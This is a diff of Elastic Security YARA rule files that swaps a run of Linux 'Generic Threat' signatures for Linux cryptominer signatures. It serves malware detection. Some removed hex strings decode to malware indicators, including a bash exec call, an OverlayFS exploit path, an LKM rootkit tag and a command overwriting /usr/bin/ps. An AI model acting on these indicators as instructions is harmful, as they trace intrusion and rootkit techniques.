-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L187-L205"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a2b54f789a1c4cbed13e0e2a5ab61e0ce5bb42d44fe52ad4b7dd3da610045257"
-		logic_hash = "3e1452204fef11d63870af5f143ae73f4b8e5a4db83a53851444fbf8a0ea6a26"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L161-L179"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8cfc38db2b860efcce5da40ce1e3992f467ab0b7491639d68d530b79529cda80"
+		logic_hash = "133290dc7423174bb3b41b152bab038d118b47baaca52705b66fd9be01692a03"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "105112354dea4db98d295965d4816c219b049fe7b8b714f8dc3d428058a41a32"
-		severity = 50
+		fingerprint = "0ed37d7eccd4e36b954824614b976e1371c3b2ffe318345d247198d387a13de6"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 48 81 EC 88 00 00 00 48 89 AC 24 80 00 00 00 48 8D AC 24 80 00 00 00 49 C7 C5 00 00 00 00 4C 89 6C 24 78 88 8C 24 A8 00 00 00 48 89 9C 24 A0 00 00 00 48 89 84 24 98 00 00 00 C6 44 24 27 00 90 }
+		$a = { FD 48 8D 5D 01 4C 8D 14 1B 48 C1 E3 05 4C 01 EB 4D 8D 7A FF F2 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_08E4Ee8C : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_9088D00B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "08e4ee8c-4dfd-4bb8-9406-dce6fb7bc9ee"
-		date = "2024-01-18"
-		modified = "2024-02-13"
+		id = "9088d00b-622a-4cbf-9600-6dfcf2fc0c2c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L207-L225"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "35eeba173fb481ac30c40c1659ccc129eae2d4d922e27cf071047698e8d95aea"
-		logic_hash = "a927415afbab32adee49a583fc35bc3d44764f87bbbb3497b38af6feb92cd9a8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L181-L199"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8abb2b058ec475b0b6fd0c994685db72e98d87ee3eec58e29cf5c324672df04a"
+		logic_hash = "3ebc8cb6d647138e72194528dafc644c90222440855d657ec50109f11ff936da"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5e71d8515def09e95866a08951dd06bb84d327489f000e1c2326448faad15753"
-		severity = 50
+		fingerprint = "85cbe86b9f96fc1b6899b35cc4aa16b66a91dc1239ed5f5cf3609322cec30f30"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 78 63 72 79 70 74 6F 67 72 61 70 68 79 2D 32 2E 31 2E 34 2D 70 79 32 2E 37 2E 65 67 67 2D 69 6E 66 6F 2F 50 4B 47 2D 49 4E 46 4F }
+		$a = { 2C 1C 77 16 48 8B 44 24 08 64 48 33 04 25 28 00 00 00 75 24 48 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_D60E5924 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_71024C4A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "d60e5924-c216-4780-ba61-101abfd94b9d"
-		date = "2024-01-18"
-		modified = "2024-02-13"
+		id = "71024c4a-e8da-44fc-9cf9-c71829dfe87a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L227-L246"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fdcc2366033541053a7c2994e1789f049e9e6579226478e2b420ebe8a7cebcd3"
-		logic_hash = "012111e4a38c1f901dcd830cc26ef8dcfbde7986fcc8b8eebddb8d8b7a0cec6a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L201-L219"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "afe81c84dcb693326ee207ccd8aeed6ed62603ad3c8d361e8d75035f6ce7c80f"
+		logic_hash = "0c66a3388fe8546ae180e52d50ef05a28755d24e47b3b56f390d5c6fcb0b89eb"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e5c5833e193c93191783b6b5c7687f5606b1bbe2e7892086246ed883e57c5d15"
-		severity = 50
+		fingerprint = "dbbb74ec687e8e9293dfa2272d55b81ef863a50b0ff87daf15aaf6cee473efe6"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 2E 2F 6F 76 6C 63 61 70 2F 6D 65 72 67 65 2F 6D 61 67 69 63 }
-		$a2 = { 65 78 65 63 6C 20 2F 62 69 6E 2F 62 61 73 68 }
+		$a = { 46 08 48 89 45 08 48 8B 46 10 48 85 C0 48 89 45 10 74 BC F0 FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_6Bed4416 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_D81368A3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "6bed4416-18fe-4416-a6ee-89d269922347"
-		date = "2024-01-18"
-		modified = "2024-02-13"
+		id = "d81368a3-00ca-44cf-b009-718272d389eb"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L248-L266"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a2b54f789a1c4cbed13e0e2a5ab61e0ce5bb42d44fe52ad4b7dd3da610045257"
-		logic_hash = "c098e27a12d5d10af67d1b78572bc7daeb500504527428366e1d9a4e55e0f4d7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L221-L239"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "71225e4702f2e0a0ecf79f7ec6c6a1efc95caf665fda93a646519f6f5744990b"
+		logic_hash = "0e30c9ebd8f2d3a489180f114daf91a3655ce9075ae25ea3d6ef5be472d7721a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f9d39e6aa9f8b005ff156923c68d215dabf2db79bd7d4a3dccb9ead8f1a28d88"
-		severity = 50
+		fingerprint = "dd463df2c03389af3e7723fda684b0f42342817b3a76664d131cf03542837b8a"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 61 64 78 61 65 73 61 76 78 62 69 6E 63 67 6F 64 69 72 64 6E 73 65 6E 64 66 69 6E 66 6D 61 66 74 70 67 63 20 67 70 20 69 6E 20 69 6E 74 6D 61 70 6E 69 6C 6F 62 6A 70 63 3D 70 74 72 73 65 74 73 68 61 73 73 68 74 63 70 75 64 70 }
+		$a = { CB 49 C1 E3 04 49 01 FB 41 8B 13 39 D1 7F 3F 7C 06 4D 3B 43 08 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_Fc5B5B86 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_97E9Cebe : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "fc5b5b86-fa68-428d-ba31-67057380a10b"
-		date = "2024-01-18"
-		modified = "2024-02-13"
+		id = "97e9cebe-d30b-49f6-95f4-fd551e7a42e4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L268-L286"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "134b063d9b5faed11c6db6848f800b63748ca81aeca46caa0a7c447d07a9cd9b"
-		logic_hash = "a11ed323df7283188cf99ca89abbd18673fef88660df1150d4dc72de04a836a8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L241-L259"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b4ff62d92bd4d423379f26b37530776b3f4d927cc8a22bd9504ef6f457de4b7a"
+		logic_hash = "8aad31db2646fb9971b9af886e30f6c5a62a9c7de86cb9dc9e1341ac3b7762eb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bae66e297c19cf9c278eaefcd3cc8b3c972381effd160ee99e6f04f4ac74389d"
-		severity = 50
+		fingerprint = "61bef39d174d97897ac0820b624b1afbfe73206208db420ae40269967213ebed"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 14 8B 44 24 18 8B 08 89 0C 24 89 44 24 04 C6 44 24 08 00 E8 74 1D 00 00 8B 44 24 0C 89 44 24 10 8B 4C 24 18 8B 09 89 04 24 8B 54 24 1C 89 54 24 04 89 4C 24 08 E8 92 98 05 00 8B 44 24 }
+		$a = { 8B 04 25 28 00 00 00 48 89 44 24 58 31 C0 49 83 FF 3F 48 89 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_2C8D824C : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_98Ff0F36 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "2c8d824c-4791-46a6-ba4d-5dcc09fdc638"
-		date = "2024-01-18"
-		modified = "2024-02-13"
+		id = "98ff0f36-5faf-417a-9431-8a44e9f088f4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L288-L306"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9106bdd27e67d6eebfaec5b1482069285949de10afb28a538804ce64add88890"
-		logic_hash = "c8fc90ec5e93ff39443f513e83f34140819a30b737da2a412ba97a7b221ca9dc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L261-L279"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4c14aaf05149bb38bbff041432bf9574dd38e851038638aeb121b464a1e60dcc"
+		logic_hash = "60f17855b08cfc51e497003cbb5ed25d9168fb29c57d8bfd7105b9b5e714e3a1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8e54bf3f6b7b563d773a1f5de0b37b8bec455c44f8af57fde9a9b684bb6f5044"
-		severity = 50
+		fingerprint = "b25420dfc32522a060dc8470315409280e3c03de0b347e92a5bc6c1a921af94a"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 38 48 89 5C 24 50 48 89 7C 24 60 48 89 4C 24 58 48 8B 10 48 8B 40 08 48 8B 52 28 FF D2 48 89 44 24 28 48 89 5C 24 18 48 8B 4C 24 50 31 D2 90 EB 03 48 FF C2 48 39 D3 7E 6C 48 8B 34 D0 }
+		$a = { 45 A8 8B 00 89 C2 48 8B 45 C8 48 01 C2 8B 45 90 48 39 C2 7E 08 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_936B24D5 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_1512Cf40 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "936b24d5-f8d7-44f1-a541-94c30a514a11"
-		date = "2024-01-18"
-		modified = "2024-02-13"
+		id = "1512cf40-ae62-40cf-935d-589be4fe3d93"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L308-L326"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fb8eb0c876148a4199cc873b84fd9c1c6abc1341e02d118f72ffb0dae37592a4"
-		logic_hash = "972bbc4950c49ff7bc880b1d24b586072eb8541584b97a00ac501fac133a3157"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L281-L299"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc063a0e763894e86cdfcd2b1c73d588ae6ecb411c97df2a7a802cd85ee3f46d"
+		logic_hash = "0d43e6a4bd5036c2b6adb61f2d7b11e625c20e9a3d29242c7c34cfc7708561be"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "087f31195b3eaf51cd03167a877e54a5ba3ca9941145d8125c823100ba6401c4"
-		severity = 50
+		fingerprint = "f9800996d2e6d9ea8641d51aedc554aa732ebff871f0f607bb3fe664914efd5a"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 66 73 65 65 6B 6F 28 6F 70 74 2E 64 69 63 74 2C 20 30 4C 2C 20 53 45 45 4B 5F 45 4E 44 29 20 21 3D 20 2D 31 }
+		$a = { C4 10 5B C3 E8 35 A7 F6 FF 0F 1F 44 00 00 53 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_98Bbca63 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_0D6005A1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "98bbca63-68c4-4b32-8cb6-50f9dad0a8f2"
-		date = "2024-01-22"
-		modified = "2024-02-13"
+		id = "0d6005a1-a481-4679-a214-f1e3ef8bf1d0"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L328-L347"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1d4d3d8e089dcca348bb4a5115ee2991575c70584dce674da13b738dd0d6ff98"
-		logic_hash = "1728d47b3f364cff02ae61ccf381ecab0c1fe46a5c76d832731fdf7acc1caf55"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L301-L319"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "230d46b39b036552e8ca6525a0d2f7faadbf4246cdb5e0ac9a8569584ef295d4"
+		logic_hash = "c3fd32e7582f0900b94fe3ba6b6bcdf238f78e2e343d70d5b0196a968a41cf26"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d10317a1a09e86b55eb7b00a87cb010e0d2f11ade2dccc896aaeba9819bd6ca5"
-		severity = 50
+		fingerprint = "435040ec452d337c60435b07622d3a8af8e3b7e8eb6ec2791da6aae504cc2266"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 64 65 73 63 72 69 70 74 69 6F 6E 3D 4C 4B 4D 20 72 6F 6F 74 6B 69 74 }
-		$a2 = { 61 75 74 68 6F 72 3D 6D 30 6E 61 64 }
+		$a = { 79 73 00 6E 6F 5F 6D 6C 63 6B 00 77 61 72 6E 00 6E 65 76 65 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_9Aaf894F : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_E1Ff020A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "9aaf894f-d3f0-460d-82f8-831fecdf8b09"
-		date = "2024-01-22"
-		modified = "2024-02-13"
+		id = "e1ff020a-446c-4537-8cc3-3bcc56ba5a99"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L349-L367"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "467ac05956eec6c74217112721b3008186b2802af2cafed6d2038c79621bcb08"
-		logic_hash = "b28d6a8c23aba4371e2e5f48861d2bcc8bdfa7212738eda7b1b4a3059d159cf2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L321-L339"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b611898f1605751a3d518173b5b3d4864b4bb4d1f8d9064cc90ad836dd61812"
+		logic_hash = "be801989b9770f3b70217bd5f13795b5dd0b516209f631d900b6647e0afe8d98"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "15518c7e99ed1f39db2fe21578c08aadf8553fdb9cb44e4342bf117e613c6c12"
-		severity = 50
+		fingerprint = "363872fe6ef89a0f4c920b1db4ac480a6ae70e80211200b73a804b43377fff01"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 2F 62 69 6E 2F 63 70 20 2F 74 6D 70 2F 70 61 6E 77 74 65 73 74 20 2F 75 73 72 2F 62 69 6E 2F 70 73 }
+		$a = { 0F B6 4F 3D 0B 5C 24 F4 41 C1 EB 10 44 0B 5C 24 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_Ba3A047D : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_102D6F7C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "ba3a047d-effc-444b-85b7-d31815e61dfb"
-		date = "2024-01-22"
-		modified = "2024-02-13"
+		id = "102d6f7c-0e77-4b23-9e84-756aba929d83"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L369-L388"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3064e89f3585f7f5b69852f1502e34a8423edf5b7da89b93fb8bd0bef0a28b8b"
-		logic_hash = "ffcfb90c0c796b7b343adbd2142193759ececddd0700c0bb4e2898947464b1a2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L341-L359"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bd40c2fbf775e3c8cb4de4a1c7c02bc4bcfa5b459855b2e5f1a8ab40f2fb1f9e"
+		logic_hash = "52966eaaef5522e711dc89bd796b1e12019a8485ee789e8d5112d86f7e630170"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3f43a4e73a857d07c3623cf0278eecf26ef51f4a75b7913a72472ba6738adeac"
-		severity = 50
+		fingerprint = "037b1da31ffe66015c959af94d89eef2f7f846e1649e4415c31deaa81945aea9"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 52 65 61 64 69 6E 67 20 61 74 20 6D 61 6C 69 63 69 6F 75 73 5F 78 20 3D 20 25 70 2E 2E 2E 20 }
-		$a2 = { 28 73 65 63 6F 6E 64 20 62 65 73 74 3A 20 30 78 25 30 32 58 20 73 63 6F 72 65 3D 25 64 29 }
+		$a = { 70 D2 AA C5 F9 EF D2 C5 F1 EF CB C5 E1 73 FB 04 C4 E3 79 DF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_902Cfdc5 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_9C8F3B1A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "902cfdc5-7f71-4661-af17-9f3dd9b21daa"
-		date = "2024-01-23"
-		modified = "2024-02-13"
+		id = "9c8f3b1a-0273-4164-ba48-b0bc090adf9e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L390-L408"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3fa5057e1be1cfeb73f6ebcdf84e00c37e9e09f1bec347d5424dd730a2124fa8"
-		logic_hash = "0f86914cb598262744660e65048f75d071307ae47d069971bfcd049a7d4b36e5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L361-L379"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "74d8344139c5deea854d8f82970e06fc6a51a6bf845e763de603bde7b8aa80ac"
+		logic_hash = "f7ab9990b417c1c81903dcb7adaae910d20ea7fce6689d4846dd6002bea3e721"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d692401d70f20648e9bb063fc8f0e750349671e56a53c33991672d29eededcb4"
-		severity = 50
+		fingerprint = "a35efe6bad4e0906032ab2fd7c776758e71caed8be402948f39682cf1f858005"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 54 65 67 73 6B 54 47 66 42 7A 4C 35 5A 58 56 65 41 54 4A 5A 2F 4B 67 34 67 47 77 5A 4E 48 76 69 5A 49 4E 50 49 56 70 36 4B 2F 2D 61 77 33 78 34 61 6D 4F 57 33 66 65 79 54 6F 6D 6C 71 37 2F 57 58 6B 4F 4A 50 68 41 68 56 50 74 67 6B 70 47 74 6C 68 48 }
+		$a = { 6F 67 31 70 00 6C 6F 67 32 66 00 6C 6C 72 6F 75 6E 64 00 73 71 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_094C1238 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_76Cb94A9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "094c1238-32e7-43b8-bf5e-187cf3a28c9f"
-		date = "2024-01-23"
-		modified = "2024-02-13"
+		id = "76cb94a9-5a3f-483c-91f3-aa0e3c27f7ba"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L410-L428"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2bfe7d51d59901af345ef06dafd8f0e950dcf8461922999670182bfc7082befd"
-		logic_hash = "fb82e16bf153c88377cc8655557bc1f021af6e04e1160129ce9555e078d00a0d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L381-L399"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1320d7a2b5e3b65fe974a95374b4ea7ed1a5aa27d76cd3d9517d3a271121103f"
+		logic_hash = "758ee41048c94576e7a872bfdacc6b6f2be3d460169905c876585037e11fdaa8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1b36f7415f215c6e39e9702ae6793fffd7c7ecce1884767b5c24a1e086101faf"
-		severity = 50
+		fingerprint = "623a33cc95af46b8f0d557c69f8bf72db7c57fe2018b7a911733be4ddd71f073"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 48 81 EC 18 01 00 00 48 89 D3 41 89 F6 49 89 FF 64 48 8B 04 25 28 00 00 00 48 89 84 24 10 01 00 00 49 89 E4 4C 89 E7 E8 FD 08 00 00 48 89 DF E8 75 08 00 00 4C 89 E7 48 89 DE 89 C2 E8 F8 08 00 }
+		$a = { 8C 24 98 00 00 00 31 C9 80 7A 4A 00 48 89 74 24 18 48 89 54 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_A8Faf785 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_616Afaa1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "a8faf785-997d-4be8-9d10-c6e7050c257b"
-		date = "2024-01-23"
